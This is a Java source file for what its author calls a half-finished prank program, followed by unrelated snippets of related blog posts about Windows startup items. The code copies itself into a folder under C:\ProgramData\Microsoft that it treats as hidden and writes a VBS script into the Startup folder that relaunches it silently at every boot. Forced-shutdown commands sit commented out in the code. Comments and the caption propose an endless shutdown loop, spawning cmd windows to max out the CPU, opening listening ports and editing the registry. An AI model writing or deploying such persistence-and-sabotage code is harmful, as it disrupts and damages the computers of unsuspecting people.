import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;/*** * shutdown -s -t 60 60秒后关机* * shutdown -s -t 3600 1小时后关机* * logoff 注销命令* * tsshutdn 60秒后关机* * shutdown -s -f 强制关机* * shutdown -s -t 时间* * shutdown -a 取消 关机命令** @author silence* 将程序影藏在 C:\ProgramData\Microsoft  下的自定义silence文件夹*/
public class Silence1 {/*** 程序存储的文件位置 和bat*/private static final File SILENCE_FILE = new File("C:\\ProgramData\\Microsoft\\silence");/*** 开机启动项存放 vbs 的位置*/private static final File START_FILE = new File("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\start.vbs");static {if (!SILENCE_FILE.exists()) {boolean mkdirs = SILENCE_FILE.mkdirs();}}public static void main(String[] args) throws Exception {//如果不是第一次启动本软件if (!START_FILE.exists()) {//程序运行的时候复制自身class文件到指定文件夹copySilence();//写bat启动项文件batStart();//写vbs系统自启动项vbsStart();}//写个关机命令shutdown();//可以在这开个TCP或者UDP端口监听该用什么方法//每次开机后会打开此程序  可以写关机每次开机后会自动关机  重复打开cmd卡死  循环写文件到桌面//可以启动TCP 或UDP形式监听端口//写注册表//运行cmd命令}/*** 关机命令*/private static void shutdown() throws Exception {//60s 后关机// Runtime.getRuntime().exec("shutdown -s -t 60");//取消关机命令// Runtime.getRuntime().exec("shutdown -a");// 强制关机//  Runtime.getRuntime().exec("shutdown -s -f");}/*** 写vbs系统自启动项*/private static void vbsStart() throws Exception {FileOutputStream out = new FileOutputStream(START_FILE);String str1 = "set ws=wscript.createobject(\"wscript.shell\")";String str2 = "ws.run \"C:/ProgramData/Microsoft/silence/start.bat" + " /start\",0";out.write(str1.getBytes());out.write("\r\n".getBytes());out.write(str2.getBytes());out.close();}/*** 写bat启动class文件*/private static void batStart() throws Exception {FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\start.bat");String str = "java Silence1";out.write(str.getBytes());out.close();}/*** 启动后写到C盘   启动文件*/private static void copySilence() throws Exception {FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\Silence1.class");FileInputStream input = new FileInputStream("Silence1.class");byte[] bytes = new byte[1024];int length = 0;while ((length = input.read(bytes)) != -1) {out.write(bytes, 0, length);out.flush();}out.close();input.close();}
}

java恶搞程序半成品,打开将程序本身写到c盘隐藏,并设置开机启动项。可无限开机,可加影藏cmd while死循环 卡爆cpu相关推荐

  1. 计算机关闭开启启动程序,如何设置开机启动项?电脑开机启动项怎么增加与关闭?...

    大家都知道刚买来的电脑开机速度很快,但是随着各种应用的安装,开机速度会变得非常慢,电脑也会变得异常的卡顿,这是因为有很多应用都会默认开机自启动,电脑每次开机都会依次自启动这些应用,可想而知电脑会变得多 ...

  2. java需要打开开机启动项吗_开机启动项

    [启动项目就是开机的时候系统会在前台或者后台运行的程序] 当Windows(操作系统)完成登录过程,进程表中出现了很多的进程!Windows在启动的时候,自动加载了很多程序. 许多程序的自启动,给我们 ...

  3. 怎么打开计算机开机启动菜单,启动项,教您电脑开机启动项怎么设置

    开机启动项怎么设置几乎成了每个网友在使用电脑中必然会碰到的小麻烦.这个棘手的问题也许并非木马病毒所致,但同样会影响上网的心情,试想开机等上个6分钟?那电脑开机启动项怎么设置?下面,小编给大家介绍电脑开 ...

  4. win10怎么设置开机启动项目_开机启动项怎么设置呢?禁用自启动程序

    大家好,今天分享一篇来源小白一键重装网(xiaobaixitong.com)关于解答:开机启动项怎么设置呢? 每日壁纸 · 长按保存 开机启动项怎么设置呢?电脑开机速度变慢了很可能是开机启动项太多导致 ...

  5. 关闭计算机启动程序,电脑开机启动项该怎么关闭?看我如何快速关闭启动项

    原标题:电脑开机启动项该怎么关闭?看我如何快速关闭启动项 不少用户如今每次打开电脑,都要等待很长时间才能操作.电脑启动后,一堆软件程序就开始争先恐后的在自动启动,这严重影响了系统的运行速度,也使我们的 ...

  6. w7运行里的计算机怎么设置,Win7系统中怎么给程序设置为开机启动项

    Win7系统中怎么给程序设置为开机启动项 腾讯视频/爱奇艺/优酷/外卖 充值4折起 我们在电脑上经常会用到的软件,是可以设置为开机启动项的,这样我们在开机之后,软件就自动运行,就很方便快捷啦.一起看看 ...

  7. 计算机下方如何添加启动项,win7应用程序添加到开机启动项的两种解决办法

    在windows10系统中,如果想让应用程序在开机之后自动运行起来,可以怎么做呢? 方法一: 1.首先创建应用程序的快捷方式 找到自己想加入开机启动项的应用程序,本文以iexplore为例,在iexp ...

  8. C# 将应用程序通过注册表设置开机启动项

    转载自C# 将当前应用程序写入到注册表开机启动项中 //设置开机启动 private void AutoRunAfterStart(){//获取当前应用程序的路径string localPath = ...

  9. 怎么检查计算机启动程序,如何查看电脑开机启动项

    篇一:Win7如何查看本机电脑的启动(开机)与关机时间 Win7如何查看本机电脑的启动(开机)与关机 Win7如何查看本机电脑的启动(开机)与关机具体时间并记录成文本,本文图解教你具体进行操作. 一. ...

最新文章

  1. mac 配置maven相关
  2. java面试必背知识点
  3. 大数据正在改变客户服务的五种方式
  4. 如何快速REPAIR TABLE
  5. 前沿 | 张钹院士畅谈清华大学如何办人工智能专业
  6. xmlxml约束dtdxml解析器
  7. WEB前端是干什么的?
  8. Cesium模型压平
  9. 《机器人操作系统ROS原理与应用》——2.3 大数据制度和流程规范
  10. 语料标注平台BRAT安装说明
  11. opencv在图片上添加文字
  12. Linux 常用基本命令 ps top kill
  13. 记一次confluence邮件服务器配置的坑(阿里企业邮箱)
  14. PPTV多屏互动服务器可以看文档吗,电脑pptv播放器多屏互动服务器是什么?
  15. LabVIEW以编程方式启用IEPE激励
  16. To B 业务 vs To C 业务
  17. Flip Game(枚举)
  18. 在物流信息系统中,物联网主要应用于哪些领域
  19. MQTT协议-MQTT协议简介及协议原理
  20. 实物1操作:stc8a单片机和普通51/52单片机的异同以及下载步骤(点亮一盏LED为例)

热门文章

  1. fan怎么写 jin_拼音为fan的字
  2. 以python程序调用的系统_python 系统调用的实例详解
  3. nginx 根证书 服务器证书,Nginx双向证书校验(服务器验证客户端证书)
  4. java 并列排名,178. 分数排名
  5. pthread_cond_wait的spurious wakeup问题
  6. bert pytorch 序列标注_序列标注:Bi-LSTM + CRF
  7. 在android studio中如何创建一个类来继承另外一个类_在Android使用Transition API检测用户活动...
  8. float32精度_PyTorch 1.6来了:新增自动混合精度训练、Windows版开发维护权移交微软...
  9. 【转】注册Azure AD 2.0 应用程序
  10. C#中双问号、双冒号等几个特殊关键字